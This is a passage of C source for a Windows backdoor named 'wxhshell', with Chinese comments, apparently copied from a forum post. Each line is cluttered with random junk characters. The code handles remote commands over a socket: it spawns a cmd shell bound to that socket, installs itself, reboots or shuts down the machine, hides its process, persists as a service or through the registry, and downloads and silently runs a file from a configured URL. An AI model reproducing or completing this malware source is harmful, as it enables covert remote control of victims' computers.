  } 0_=^#r4Mu  
  else { 3T[zieX  
czB),vooz  
    switch(cmd[0]) { b'vIX< g  
  _ D"S  
  // 帮助 Vl'rO_?t  
  case '?': { kjt(OFh'Y+  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); l%qh^0  
    break; by$mD_sr  
  } rqKK89fD'  
  // 安装 ^b^buCYw  
  case 'i': { n]>L"D,  
    if(Install()) |3hNTH?  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Ix~rBD9  
    else mcs!A/]<  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); m\_v{1g  
    break; 1O1MB&5%  
    } -$,'|\Y  
  // 卸载 Owv}lJ  
  case 'r': { WHu[A/##']  
    if(Uninstall()) JIf.d($ ~:  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 8x8nQ *_  
    else ll?Qg%V[t  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Nk1p)V SC  
    break; PO|gM8E1x?  
    } cE?p~fq<  
  // 显示 wxhshell 所在路径 r[#*..Y  
  case 'p': { ?KE:KV[Y  
    char svExeFile[MAX_PATH]; @ 0/EKWF  
    strcpy(svExeFile,"\n\r"); GC(QV}9z"  
      strcat(svExeFile,ExeFile);  sHOBT,B  
        send(wsh,svExeFile,strlen(svExeFile),0); nB}eJD|  
    break; PtGFLM9R  
    } ke)<E98DC  
  // 重启 .k%/JF91n  
  case 'b': { 98vn"=3  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); o)'06FF\$  
    if(Boot(REBOOT)) D4?cnwU  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); JM53sx4&  
    else { <L2z|%`  
    closesocket(wsh); c<{~j~+  
    ExitThread(0); cs[nFfM  
    } 08g2? 5w"  
    break; /4upw`35]  
    } sWi4+PAM0  
  // 关机 Sae*VvT6  
  case 'd': { &4*f28 s  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); <y#@v  G  
    if(Boot(SHUTDOWN)) Ga pM~~  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); lbh7`xCR  
    else { (^]3l%Ed  
    closesocket(wsh); n- 1  
    ExitThread(0); P!{J28dj  
    } |\)Y,~;P  
    break; a|k*A&5u2  
    } }{[JS=A^  
  // 获取shell Yqv!ZJ6  
  case 's': {  O@skd2  
    CmdShell(wsh); mqY=N~/O  
    closesocket(wsh); gb}ov* *  
    ExitThread(0); }^*`&Lh  
    break; =>O{hT ^F  
  } *=Ma5J.  
  // 退出 |`+ (O  
  case 'x': { '}q/;}ih  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); Gq7\b({=  
    CloseIt(wsh); mt[ #=Yba  
    break;  gOp81)  
    } a;&0u>  
  // 离开 TeyFq0j@'  
  case 'q': { l vBcEg  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); gRZ!=z[&  
    closesocket(wsh); }|RL6p-/'  
    WSACleanup(); ;Q[E>j?w=  
    exit(1); q3|SZoN  
    break; BG6Lky/omz  
        } xFA`sAucr  
  }  l .m #  
  } V=Z%y$1Bc  
iaQFVROu  
  // 提示信息 Z5`V\$  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Z`n "}{  
} ^}<]sjmk  
  } C\0,D9  
>}d6)s|   
  return; fr8';Jm  
} @[Wf!8_  
 vF'IK,  
// shell模块句柄 ~N )(|N  
int CmdShell(SOCKET sock) $-(lp0\*  
{ _6L'}X$)N  
STARTUPINFO si; 7}(YCZny5  
ZeroMemory(&si,sizeof(si)); =r&i`L{]  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; x@x5|8:ga  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; %Kh}6   
PROCESS_INFORMATION ProcessInfo; CM t$ )  
char cmdline[]="cmd"; z*o2jz?t4  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); bvT$/ (7  
  return 0; `u8(qGg7GF  
} r'@7aT&_  
bKh}Y`  
// 自身启动模式 ft!D2M  
int StartFromService(void) x@|10GC#:  
{ _J,*0~O$  
typedef struct oMNBK/X_  
{ {<cgeH  
  DWORD ExitStatus; KSU hB  
  DWORD PebBaseAddress; af/0e}-  
  DWORD AffinityMask; A>*#Nw5L  
  DWORD BasePriority; u_*y~1^0  
  ULONG UniqueProcessId; q~{O^,4S  
  ULONG InheritedFromUniqueProcessId; *]DO3Zw'  
}   PROCESS_BASIC_INFORMATION; iZ( Jw Y  
n+ s=u$%qn  
PROCNTQSIP NtQueryInformationProcess; f^Q)lIv  
Q{~;4+ZD  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; gU?M/i2  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ~b[5}_L=>  
hl8oE5MU  
  HANDLE             hProcess; >&T J  
  PROCESS_BASIC_INFORMATION pbi; semTAoqH  
%xC}#RDf  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 6f+@@=Xc  
  if(NULL == hInst ) return 0; !)`m mr  
hl,x|.f}4Y  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); `J;g~#/k  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 1TgD;qX  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); }G"bD8+  
C *7x7|z  
  if (!NtQueryInformationProcess) return 0; 9q2x}  
G}nj 71=H  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); FWLLbL5t  
  if(!hProcess) return 0; oYWHO<b  
U:|:Y=O?Q  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ( ;KTV*1  
On,z# A  
  CloseHandle(hProcess); QO4eDSW  
NkAu<> G _  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ]v_u2f'  
if(hProcess==NULL) return 0; (62Sc]  
.pblI  
HMODULE hMod; c Hnd gUW]  
char procName[255]; |"}rC >+  
unsigned long cbNeeded;  3X9  
{Ut,xi  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); m-Se-aF  
ZtpbKy!\$B  
  CloseHandle(hProcess); p<B*)1Tj0  
; Ji3|=4u  
if(strstr(procName,"services")) return 1; // 以服务启动 T5_rPz  
rt\.|Hr4s  
  return 0; // 注册表启动 ~le:4qaX  
} %~N| RSec  
`L3{y/U'  
// 主模块 Mp@dts/|  
int StartWxhshell(LPSTR lpCmdLine) O#)YbaE  
{ fhro"5/4  
  SOCKET wsl; l^__oam  
BOOL val=TRUE; &E-q(3-  
  int port=0; xBE}/F$ 45  
  struct sockaddr_in door; M4t:)!dji?  
QPB ^%8  
  if(wscfg.ws_autoins) Install(); .nei9Y*  
k%;oc$0G-3  
port=atoi(lpCmdLine); <Q_E3lQy/  
uFfk!  
if(port<=0) port=wscfg.ws_port; zo1 fUsK?  
@ b} -<~  
  WSADATA data; p }3$7CR/  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; -E.fo._L5  
BfDC[(n`  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   a@C}0IP)  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); QH kjxj  
  door.sin_family = AF_INET; perhR!#J  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); eo&G@zwN   
  door.sin_port = htons(port); GFvLd:p` [  
,9$|"e&  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ^g"%:4zO  
closesocket(wsl); Am >b7Z!  
return 1; 9dva]$^:*1  
} bj@f<f`  
vJ>o9:(6  
  if(listen(wsl,2) == INVALID_SOCKET) { ((6?b5[  
closesocket(wsl); {v2[x W  
return 1; Ys<z%  
} )hD77(c  
  Wxhshell(wsl); >oapw5~5  
  WSACleanup(); B_"PFWwg  
~bgM*4GW  
return 0;  8(}cbW  
4p>,  
} -v9x tNg  
H?;@r1ZAn  
// 以NT服务方式启动 u0%bv\$m  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) Wp^ A.  
{ af&P;#U  
DWORD   status = 0; v|nt(-JX  
  DWORD   specificError = 0xfffffff;  }D!o=Mg^  
VL$?vI'  
  serviceStatus.dwServiceType     = SERVICE_WIN32; U[hokwZ  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; k|cP]p4,  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ;b 'L2  
  serviceStatus.dwWin32ExitCode     = 0; 5YXMnYt9  
  serviceStatus.dwServiceSpecificExitCode = 0; _RWH$L9  
  serviceStatus.dwCheckPoint       = 0; M`?ATmYy  
  serviceStatus.dwWaitHint       = 0; )!'7!" $  
yp< )v(8|'  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); dlwOmO'Bm)  
  if (hServiceStatusHandle==0) return; :DFtH13qO  
0hq\{pw_y*  
status = GetLastError(); 8TYoa:pZ  
  if (status!=NO_ERROR) <m%ZDOMa  
{ %z-n2%  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; w=[ITQ|W%  
    serviceStatus.dwCheckPoint       = 0; {&nDm$KTD  
    serviceStatus.dwWaitHint       = 0; QM{B(zH  
    serviceStatus.dwWin32ExitCode     = status; Ib"fHLWA^!  
    serviceStatus.dwServiceSpecificExitCode = specificError; Cjj(v7[E  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 1/A|$t[  
    return; 5qkyi]/U8  
  } ',I$`h  
sRflabl *x  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; _Bhd@S!  
  serviceStatus.dwCheckPoint       = 0; =P,pW  
  serviceStatus.dwWaitHint       = 0; K~~LJU3  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); /pJr%}sc  
} \+<=O`  
d26#0Gt-4i  
// 处理NT服务事件,比如:启动、停止  }S}%4c>  
VOID WINAPI NTServiceHandler(DWORD fdwControl) jm[f|4\  
{ YOtzj a]~  
switch(fdwControl) 1vCVTuRF  
{ 0SJ(Ln`0K  
case SERVICE_CONTROL_STOP: c&"1Z/tR  
  serviceStatus.dwWin32ExitCode = 0; 9 }  ]C  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; wIF)(t-):  
  serviceStatus.dwCheckPoint   = 0; H^g&e$d0  
  serviceStatus.dwWaitHint     = 0; Vr #o]v  
  { 7/dp_I}cO  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ^CB@4$!   
  } PrF('PH7i  
  return; 3lgD,_&  
case SERVICE_CONTROL_PAUSE: x6Q_+!mnk  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; \psO$TxF=  
  break; T;3B_ lu]  
case SERVICE_CONTROL_CONTINUE: 0&c<1;  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; Rd|^C$6  
  break; J$ &2GAi  
case SERVICE_CONTROL_INTERROGATE: rWJKK  
  break; 3vEwui-5  
}; +xNq8yS  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); I<S*"[nV  
} u89Q2\z~"M  
$^W|@et{ ]  
// 标准应用程序主函数 ~jJe|zg>  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) cd4HbSp  
{ )~#3A@  
6`5DR~  
// 获取操作系统版本 DK#Tr: 7  
OsIsNt=GetOsVer(); QV _a M2  
GetModuleFileName(NULL,ExeFile,MAX_PATH); _w7yfZLv+  
h-\+# .YP  
  // 从命令行安装 UhSaqq  
  if(strpbrk(lpCmdLine,"iI")) Install(); 5w</Ga  
'acCnn'  
  // 下载执行文件 la`f@~Bbr1  
if(wscfg.ws_downexe) { vh^?M#\  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ,+FiP{`  
  WinExec(wscfg.ws_filenam,SW_HIDE); +aOX{1w  
} ;Ehv1{;  
m4G))||9Q  
if(!OsIsNt) { K%;=i2:  
// 如果时win9x,隐藏进程并且设置为注册表启动 AdRK)L  
HideProc(); ephvvj~zW4  
StartWxhshell(lpCmdLine); &Vg)/t;  
} !Za yN  
else P#AS")Sj  
  if(StartFromService()) 4K >z?jd  
  // 以服务方式启动 qG#ZYcVec  
  StartServiceCtrlDispatcher(DispatchTable); \sS0@gnDI  
else l@>@2CB  
  // 普通方式启动 / &yc?Ui  
  StartWxhshell(lpCmdLine); 8 LsJ}c  
OOzXA%<%c  
return 0; BKu< p<  
}
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只看该作者 1 发表于: 2006-10-10
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